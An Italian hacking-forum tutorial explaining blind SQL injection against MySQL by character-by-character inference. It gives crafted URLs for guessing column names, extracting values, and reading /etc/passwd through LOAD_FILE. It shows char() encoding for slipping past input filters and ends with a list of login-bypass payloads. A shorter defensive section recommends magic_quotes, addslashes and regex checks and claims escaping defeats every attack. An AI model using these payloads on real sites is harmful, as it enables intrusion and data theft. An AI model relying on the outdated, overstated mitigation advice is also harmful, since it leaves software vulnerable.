Guida SQL INJECTION
Glossario
1. Introduzione
2. Teoria
3. Pratica
4. Evitare ogni tipo di SQL injection
5. Raccolta SQL INJECTION
1.INTRODUZIONE:
Allora soci,tanto per cominciare dobbiamo mettere a fuoco un paio di cose che sono
fondamentali ossia cosa si intende per Blind SQL Injection e cosa si intende per
Inferenza.
Blind SQL Injection:
Quando si effetuano test di vulnerabilita'e si provano attacchi di tipo SQL
Injection cio' che si fa e' analizzare l'output prodotto dal DBMS a causa
di errori sintattici presenti all'interno della query per poi eseguire
tecniche di testing piu' mirate.
Nel Blind SQL Injection,invece di errori prodotti dal DBMS abbiamo una pagina di
errore semplice,sviluppata dal programmatore e di conseguenza non e' possibile
ottenere informazioni utili sulla struttura della query.
Invece nel caso di MySQL cio' che abbiamo e' qualcosa di simile,ossia l errore
prodotto dal database non ci da un cavolo di informazione utile al tester perche'
quello che ci ritorna e' un semplice messaggio tipo:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource
Quindi come diavolo facciamo? abbiamo bisogno di un metodo per superare questo
ostacolo.
Inference:
Come dice la parola stessa con questo termine intendiamo appunto fare inferenza
sul valore di un certo parametro.Ossia dato un parametro che non conosciamo il suo
valore,cerchiamo di eseguire una serie di test e dal loro risultato deduciamo il
reale valore del parametro..non ci state capendo una mazza??bene..rilassatevi..
e cominciamo con la teoria!! :P
2.TEORIA
Fino a qualche tempo fa gli attacchi di questo tipo andavano fatti un po a culo
diciamo perche il MySQL non supportava l uso delle query annidate e una delle
tecniche per cosi dire avanzate consisteva nell utilizzare la funzione
into outfile 'filename'
questa funzione ci permetteva di memorizzare il risultato della query all interno
di un file,il quale in seguito poteva essere richiamato tramite una richiesta HTTP
dal proprio browser.Purtroppo questo metodo non sempre funziona, ad esempio
potremmo avere problemi a scrivere sul file a causa dei permessi, oppure il
database potrebbe risiedere su un host diverso da quello del web server, rendendo
impossibile l'acceso al file tramite browser.
Grazie alle tecniche di inferenza vedremo tra poco come poter leggere i valori ritornati dalle query.
I passi da effettuare sono:
1. Verificare che la vulnerabilita' da SQL Injection sia effettivamente exploitabile, ovvero
riesco a modificare la query in modo che risulti sintatticamente corretta
2. Applicare tecniche di inferenza
Per quanto riguarda il primo passo non vi e' nulla di difficile, i metodi utilizzati sono i classici
' or '1' = '1
oppure
' /*
da aggiungere alla fine della query.
Per una maggiore comprensione di tali tecniche si vedano i Riferimenti.
Una volta verificato cio', comionciamo ad attuare le tecniche di inferenza. Supponiamo di conoscere
il nome di una delle colonne che compongono la tabella, ad esempio username e di voler sapere il valore
che assume tale campo in una determinata tupla.
Supponiamo che la query eseguita dal server sia la seguente:
http://www.mysite.com/index.php?id=20
intuitivamente cio' che viene fatto e' selezionare da una opportuna tabella la tupla che ha id uguale
a 20. Il nostro compito e' riuscire a sapere che valore assume il campo username di tale tupla. Cio'
che faremo e' fare inferenza su ogni singolo carattere del valore assunto dal campo username.
L'algoritmo che utilizzeremo e' qualcosa di simile:
1. i := 1 j := 0 valore := '' 2. ASCII(carattere posizione i) del parametro e' maggiore di j? Se si
vai al passo 3, altrimenti salta al passo 4 3. j++ Vai al passo 2 4. valore := valore + CHAR(j) j:=0
i++ 5. Ho esaminato tutti i caratteri del parametro? Se no ritorna al passo 2 altrimenti esci e ritorna
il valore memorizzato in valore.
Dove ASCII(car) identifica il numero nella tabella ASCII del carattere car, e CHAR(j) identifica il
carattere ASCII relativo al numero j. In pratica cio' che viene fatto e andare ad esaminare tutti i
caratteri della tabella ASCII e fermarci quando abbiamo identificato il valore assunto dal carattere
in una certa posizione, dopodiche' eseguiremo lo stesso ragionamento con il carattere successivo.
In verita' l'algoritmo puo' essere migliorato, il tool presentato nelle sezioni finali, implementa
un algoritmo piu' intelligente, comunque per il momento considereremo questo algoritmo non ottimizzato,
vedremo piu' avanti quali migliorie sono possibili.
C'e' comunque un problema dentro questo algoritmo..ovvero..come cavolo faccio a capire quando ho finito
di esaminareil parametro?!?Per fare questo ci verra' in aiuto una particolare funzione MySQL la quale
ci ritorna la lunghezza del valore del parametro in numero di caratteri.
Se non avete capito una mazza fino qui fermatevi e ricominciate da capo!!! :D passiamo alla pratica..
3.PRATICA
Allora ora vediamo quali sono le funzioni che ci permettono di fare cio' che abbiamo detto:
1. CHAR_LENGTH(str)
2. ASCII(car)
3. SUBSTRING(sre,pos,len)
4. LOAD_FILE(str)
allora gambe in spalle e cominciamo con il voler ricavare il valore di un particolare campo..
per farlo la prima cosa ovvia da conoscere e' il nome del campo..
Supponiamo di essere interessati a conoscere il valore della colonna che contiene gli username.
Per conoscere con esatteza il nome del campo basta fare un po' di prove con richieste del tipo:
http://www.mysite.com/index.php?id=20' and username = username/*
Dato che gia da prima abbiamo controllato che la vulnerabilita' sia sfruttabile..ovvero riusciamo
a creare una query sintatticamente corretta,possiamo vedere se la richiesta fatta ci torna un
valore corretto oppure no.se abbiamo un valore corretto allora abbiamo indovinato il nome del
campo,se invece torna un errore vuol dire che il nome e' sbagliato..ricordiasmoci che gli esempi
di nomi di colonna sono users,utenti,username,passowrd,pass ecc..
Diciamo di aver indovinato il del campo che contiene gli username e che si chiama LOGIN,a questo
punto creeremo una query apposita per fare inferenza sul primo carattere del valoreassunto dal
campo LOGIN della tulpa avente ID uguale 20,la query e' la seguente:
http://www.mysite.com/index.php?id=20'%20and%20ASCII(SUBSTRING(login,1,1))%3E0/*
dove %3E rappresenta il simbolo di >. Se tale query ritorna un valore vero (vedremo tra poco
come identificare un valore vero da uno falso) allora procedo con l'esaminare il prossimo
carattere nella tabella ASCII in modo iterativo come descritto nell'algoritmo precedente.
Abbiamo parlato di valore vero o falso,ma in realta' quello che ci serva e' solo il valore
falso.Per vedere quando la queryritorna un vaklore falso,basta confrontare la pagina ottenuta
con la query di prima esposta con la pagina ottenuta inoltranfo una query che ritorna sicuramente
un valore falso..vi faccio un esempio per capire meglio...
http://www.mysite.com/index.php?id=20'%20and%20'1'%20=%20'2
Cmq questa tecnica non sempre funziona,difatti se il contenuto di una pagina cambiasse dinamicamente
tra due richieste,questa tecnica non e' piu' sfruttabile.Cmq noi consideriamo che il l ipotesi che il
contenuto della pagina web non cambie alla fine otterremo il valore desiderato.
AZZZ..dimenticavo..Una piccola nota, per ottenere la lunghezza del valore basta fare inferenza sulla
lunghezza del parametro fino ad ottenere un valore falso. La query che permette di fare inferenza sulla
lunghezza e' la seguente:
http://www.mysite.com/index.php?id=20'%20and%20CHAR_LENGTH(login)%3E0/*
A questo punto molti di voi si staranno chiedendo..ma perche' ci serve la lunghezza del valore??!!?
Non basta verificare che il carattere su cui si fa inferenza e' diverso dal carattere 0, ovvero NULL
(la funzione SUBSTRING ritorna un valore NULL quando la posizione del carattere da estrarre e' maggiore
della lunghezza della stringa)?!!!??? La risposta sarebbe si se siamo sicuri che il valore del
parametro non contiene byte nulli. Generalmente cio' e' vero per i valori inseriti dagli utenti,
ma come vedremo tra poco non e' vero se vogliamo ottenere il contenuto di un file (in particolare binario).
Per far cio' utilizziamo la funzione LOAD_FILE(file), la quale ritorna il contenuto del file specificato
come argomento. Se ad esempio volessimo ottenere il contenuto del file /etc/passwd tramite inferenza,
la richiesta da utilizzare e' la seguente:
http://www.mysite.com/index.php?id=20'%20and%20ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))%3E0/*
Esistono anche tutta una serie di tecniche per mascherare il nome del file o i nomi dei parametri,
ad esempio la seguente query
char(99,58,47,98,111,111,116,46,105,110,105)
non e' altro che la codifica della stringa c:/boot.ini, dove ogni carattere viene rappresentato tramite
il suo codice ASCII. Quindi basta modificare il valore "/etc/passwd" con la sua rispettiva codifica nel
caso in cui vengano effettuati dei controlli di input su stringhe particolari.
4.Evitare ogni tipo di SQL injection
Ragazzi ricordiamoci che ogni DBMS ha suoi propri caratteri di controllo, quindi per ognuno di essi
deve esistere un "escaping" dedicato.
Impostare la direttiva magic_quotes_gpc del php.ini ad ON.
Tale direttiva equivale ad un addslashes automatico sui caratteri considerati pericolosi relativi a tutte
le stringhe passate via GET e POST e su tutto quanto salvato nei cookies.
Fare l'escape significa far precedere al carattere " ' " ed altri caratteri un backslah, di modo che,
riferendoci a quanto visto prima, se inseriamo qualsiasi_stringa' OR 1 nel campo password, questo viene
automaticamente convertito in qualsiasi_stringa\' OR 1, vanificando ogni tipo di attacco.
Si deve tener presente però di non arrivare ad aggiungere backslash doppi o tripli, ciò che avviene se
il programmatore, abituato a programmare con magic_quotes_gpc ad OFF, fa l'escape "a mano" egli stesso di
tutte le stringhe in input: in questo caso risulterebbe qualcosa del tipo:
qualsiasi_stringa\\\' OR 1
in quanto l'escape viene fatto sia su " ' " che su " \ ".
Il programmatore deve quindi accertarsi dell'impostazione sulla direttiva del php.ini prima di decidere sul
da farsi. Se ad OFF, usare addslashes; se ad ON no.
Ad esempio tramite un codice del tipo seguente:
function my_string_escape($stringa)
{
if (!get_magic_quotes_gpc()) $stringa=addslashes($stringa);
return $stringa;
}
E cmq anche questo non e' un metodo ottimale..
E' anche importante usare adeguatamente le Usare le funzioni di MySQL..
In luogo dei magic_quotes o dell'addslashes "manuale", per fare l'escape dei caratteri pericolosi,
è preferibile utilizzare le funzioni apposite che PHP mette a disposizione nell'interazione con MySQL.
È opportuno usare mysql_escape_string() oppure mysql_real_escape_string sulle variabili passate alle i
nterrogazioni SQL.
Citando il manuale reperibile su PHP.net:
mysql_escape_string aggiunge le sequenze di escape in una stringa per l'uso in mysql_query.
Uso: string mysql_escape_string ( string stringa_senza_escape );
Questa funzione aggiunge le sequenze di escape a stringa_senza_escape, in modo che sia sicuro usarla in
mysql_query().
Nota: mysql_escape_string() non aggiunge le sequenze di escape a " % " ed a " _ ".
Tale funzione (come addslashes) non fa l'escape di tutti i caratteri potenzialmente pericolosi, quali " % ",
usati nelle query con LIKE, " ; " e " , ". Per questi è necessario uno str_replace "manuale".
Non dimentichiamoci le espressioni regolari,e' bene valutare tramite espressioni regolari se quanto si riceve
in input è conforme a quanto ci si aspetta di ricevere. Ad esempio, si intendiamo che una variabile contenga
solo caratteri alfanumerici possiamo usare la seguente espressione regolare:
ereg("^[A-Z0-9]+$",$in)
per validarla. Oppure, se ci attendiamo come ingresso un codice postale, la seguente espressione fa al
caso nostro:
preg_match('/^\d{5}(-\d{4})?$/',$CAP)
Le espressioni regolari, se ben usate, sono un metodo sicuro per implementare un'applicazione non vulnerabile
alle SQL injections.
5.Raccolta SQL INJECTION
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
") or ("a"="a
') or isnull(1/0) or ('a'='a
a'OR'a=a
Username: Admin
Passw: ' or ''='
' or '1'='1
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 'x'='x
' or 'x'='x
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Con questo e' tutto..allora soci spero che ora abbiate le idee un po piu' chiare..come sempre se sono rimasti
dubbi perplessita e quant altro potete postare su
www.HackExperiences.altervista.org
un salutone a tutti ciao soci!!!
ToKilL
Fonte: ToKilL www.HackExperiences.altervista.org
____________
L'antivirus più potente è quello che sta tra lo schermo e la sedia.
Aranzulla non è solo un esperto insettologo, ma ha anche vinto il concorso di bellezza indetto dalla Comunità Italiana Non Vedenti.
Giusto, appena riinizia la scuola, che dopo siamo liberi, tanto il primo quadrimestre è come Aranzulla, inutile.
By AndyEwo
Aranzulla non è solo un esperto insettologo, ma ha anche vinto il concorso di bellezza indetto dalla Comunità Italiana Non Vedenti.
Giusto, appena riinizia la scuola, che dopo siamo liberi, tanto il primo quadrimestre è come Aranzulla, inutile.
By AndyEwo

Home

















































